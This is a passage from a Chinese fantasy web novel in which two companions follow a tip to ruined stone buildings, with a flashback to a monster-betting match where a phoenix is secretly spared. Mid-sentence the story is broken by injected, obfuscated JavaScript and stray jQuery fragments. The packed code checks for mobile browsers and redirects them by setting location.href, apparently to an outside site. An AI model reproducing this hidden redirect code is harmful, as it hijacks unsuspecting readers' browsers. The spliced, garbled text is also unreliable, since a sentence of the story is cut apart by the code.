路上的行人渐渐多了起来，城中飘起炊烟，比之冷清的夜间多了烟火气。在兰梦乡即将从睡梦中苏醒前，莫夜寒来到城中那条溪水旁。


    溪边草丛中冒出一个脑袋。


    “可还顺利？”李寒庭问道。


    莫夜寒点点头，将小兽放进背篮，朝着城门方向走去。


    兰梦乡郊外，莫夜寒来到前一日与吻虎分别的地方，轻声唤了几声。


    吻虎跃出树丛，绕着莫夜寒走了几圈。


    莫夜寒安抚下吻虎，便带着它朝林子深处走去，边走边与李寒庭说起方才店铺中的事。直到已见不到兰梦乡的乡城，她才停了下来。


    “怎会？”李寒庭听了莫夜寒的描述，大为吃惊，问道，“你没听错？”


    莫夜寒从背篮中将舆图拿出来铺在地上，指着舆图上兰梦乡东南方的一处山林，道：“焕章所说的，冯衣捕获鸣津鸟的地方也在这里。”


    李寒庭看看舆图，两处位置重合，道：“的确在这里。但为何……”他问道，“徐娘子究竟怎么说的？”


    “我并未见到徐娘子。”莫夜寒道，“她叫仆从带了消息给我，说我要找的地方，便在兰梦乡乡城东南五十里处。”她说着用手指过去，“确实是这里。”


    李寒庭看着舆图，一瞬间怀疑莫夜寒获得的是假消息。但下一刻却否认了这个想法。从妖兽赌局上全身而退，既许下承诺，徐娘子没有理由欺骗莫夜寒。


    那一日，妖兽赌局之上，莫夜寒以银虎模样的吻虎与徐娘子的白色凤鸟相斗。为了赢下赌局，她激怒徐娘子，迫凤鸟使出赤火异能。


    两只妖兽对战的最后时刻，凤鸟燃起赤火点燃金油丝网，整个赌场被团团火焰遮蔽。


    徐娘子的注意力早就从妖兽身上移到了莫夜寒身上。一旦分神，妖兽也失了攻击目标。


    胜负已定。


    银虎死死咬住凤鸟的脖子，将凤鸟摔在地上，按在虎爪之下。


    徐娘子这才慌了。意识到自己被莫夜寒扰乱了心智，但为时已晚。眼见侍兽受伤，她想要将凤鸟救起，却见莫夜寒手拿匕首横在眼前。


    徐娘子自知求也是无用。妖兽赌局之上，妖兽或死或伤，方定输赢，这便是最大的规矩，无人可以例外。她自然没这个能力破局。


    心知侍兽必死，徐娘子生了后悔之心。她从前入妖兽赌局做赌，从无败局，每每看他人侍兽或死或伤于面前，只觉得心中畅快。赌场上她一身白衣飘逸，迎着人声欢呼，好不得意。却从未想过有一日，自己的侍兽会被踩在脚下，生死全握在旁人手中。


    “你太卑鄙。你用银虎妨碍白絮。”直到这一刻，她目光投在凤鸟身上，口中却仍放不下输赢。


    “但我赢了。”莫夜寒道：“你既入妖兽赌局，就该知道，入局无悔。妖兽赌局，结果最重，这是规矩。”


    徐娘子自觉被莫夜寒佛了面子，怒道：“这事还用不着你来告诉我，输便输了，又如何？”


    莫夜寒却摇摇头：“你并非输在妖兽上。”


    徐娘子心有不甘，却不得不承认，眼前女子不仅将她的行动看穿，也看穿了她的心思。若非如此，她也不会就这样输掉这场赌。


    她无奈，亦无法反驳，只得握紧衣袖。说到底，是输于妖兽还是输于自心，也并无差别。然而无论是输于妖兽还是输于自心，她的侍兽的命运已成定局。


    徐娘子望着虎爪之下的凤鸟，心中不忍。毕竟是陪伴十数载的妖兽，如今要因她之故命丧于此。想到那些死掉的侍兽最终的下场，她第一次感到揪心。


    即便知道不可能，还是开了口：“留它个全尸于我，如何？”她如此请求，已是放下了心中骄傲。


    下一刻，莫夜寒的匕首却狠狠划在凤鸟身上。


    一声惨叫划破耳膜，而后凤鸟再无声息。鲜血蹦迸出，流了一地。


    “罢了。”徐娘子微仰着头，“既入了这妖兽赌局，早晚如此。”


    她转身要走，莫夜寒却叫住她：“你不将侍兽带走？”


    “一具兽尸，要来何用？”她说完回身就走，只因实在不想见侍兽血淋淋的尸体。


    莫夜寒却将凤鸟抱起来，走到她身前，将凤鸟放到她怀里。


    徐娘子分明看见凤鸟的头抬了抬，拼力想要看向她。


    她惊得忘记了动作，忽而反应过来，惊讶的看向莫夜寒：“你……”


    莫夜寒做了个噤声的动作，示意她不要出声。


    徐娘子看了莫夜寒半晌，问道：“为何这样做？”


    莫夜寒道：“妖兽无辜。”


    徐娘子怔住了，看着怀中挣扎着想起身的凤鸟，心中生出惭愧之情。


    “你若真的看中侍兽，不要再来妖兽赌局。”莫夜寒道。


    徐娘子苦笑。若是还有下一次，她怕再没有这样的运气，那时她带走的就只能是一具兽尸。


    “这次算我欠你。”她拔下凤鸟翅下一只短羽递给莫夜寒，“他日你若有事，可到兰梦乡中找间‘沁兰’铺子找我，以鸟羽为凭，我定会相帮。”


    莫夜寒没有推却，将鸟羽收紧怀中。眼见金油丝网上的赤火渐弱，她急忙向徐娘子使了个眼色。


    徐娘子会意，忙给凤鸟下了指令，让它不要动作。


    赤火熄灭之时，人们见徐娘子抱着凤鸟的尸首站在一旁，而莫夜寒身旁的银虎好好站在一旁。看客们花了好一会儿功夫才发觉这场赌局胜负已定，赌场之上爆发出一阵惊呼。


    “银虎，居然是银虎赢了。”


    徐娘子抱着凤鸟的尸首默默的离开赌场，将所有的嘈杂抛诸脑后。


    一旦想到当日情景，忆起徐娘子当时看着凤鸟的表情，李寒庭便觉得她不会故意欺瞒莫夜寒。况且她又不知莫夜寒此次本要去这里，如何会故意诓骗她？


    “难道世上真有如此巧合之事？”他道。“偏巧赌庄也在此地与赌客传递消息？”


    莫夜寒心中亦有疑惑。但与李寒庭一样


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130971|162310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，她并不认为徐娘子会骗她。


    “依徐娘子所言，的确在此处。”莫夜寒道，“她的仆从带话说，她从前入赌庄，都是在此处与人约见获取信物。但上次妖兽赌局之后，她便再没去过，所以也不知如今此处是否还有赌庄的人。”


    “又是赌庄，又是鸣津鸟，这地方当真热闹得很。”李寒庭说着，帮莫夜寒将东西重新收拾好，“我们且去看看。”言罢又道：“也来不及通知严礼。若回去了他怪你，我和他说便是了。”他说着，跳进背篮，粗算算，若要达到舆图上的位置，少说也要一日。


    “走吧。”他道，“路上还需想想，若是遇见赌庄的人该如何应对。”


    莫夜寒站在山顶上向半山腰望去，山腰的一小片开阔地上，长满了高低不一的树木，地上满是荒草。林木之间，零星立着几堆大石，四周一片死寂，没有半个人影。


    这里是舆图上所指的位置，是焕章所说的可捕获鸣津鸟的地方，也是徐娘子口中与赌庄之人交换消息的地方。


    若不是有人告知，一般人路过这里，见了这些奇形怪状的石头，多半只会觉得好奇，绝不会想到在这密林之间还隐藏着不可告人的秘密。


    莫夜寒和李寒庭前一日便到了此处，担心这地方有什么不妥，已经在这山顶上守了一天两夜。


    “要不要下去看看？”李寒庭转头看了眼身侧的莫夜寒，问道。


    莫夜寒抬头看看天色，道：“徐娘子说过，她每次与赌庄之人交换消息，都在黄昏前后。即便赌庄的人这会儿不在，按照焕章所言，此处或许有强盗，还是等天色再晚些，我们再一同下去吧。”


    “如此也好。”李寒庭道，“第一次还是要想办法避开人，先将路探明了的好。”


    二人潜在林中，直到亥时，莫夜寒才带着李寒庭下到了半山腰。


    比之白日，夜色下林间几块怪石更显得鬼气森森，莫夜寒将身旁将一人高的草株扒开，朝其中一块石头走了过去。


    之前在山顶上离得远未曾看清，此刻李寒庭才发觉，这几块石头的布局不像随意摆弄的，石块与石块之间的距离差不多，看上去好像特地丈量过一般。


    再细瞅瞅，便觉得这些石堆有些蹊跷。


    “看这些石头，倒好像是一座宅子的石柱。”他指着不远处一片倒塌在草丛间的石砖道，“那位置是宅子的围墙，还有那边，应该是间屋子，只是眼下只剩柱子所以看不出。还有那里、那里也是。”他边说着，便将自己辨认出的围墙指给莫夜寒看。


    “这几间屋子朝向分别是正南、正东、正西，并且同一朝向的屋子之间距离一样，建得很规整。”李寒庭道。


    经李寒庭这样一说，莫夜寒才发觉眼前这几间屋子的布局与之前收服山隗时，那小主人所住的院子差不多，虽不算很大，但从砖石上模糊的纹饰可以看出，当初建的颇为考究。


    “这样的宅子，建在这种地方实是少见。”李寒庭摇摇头，只觉得不解。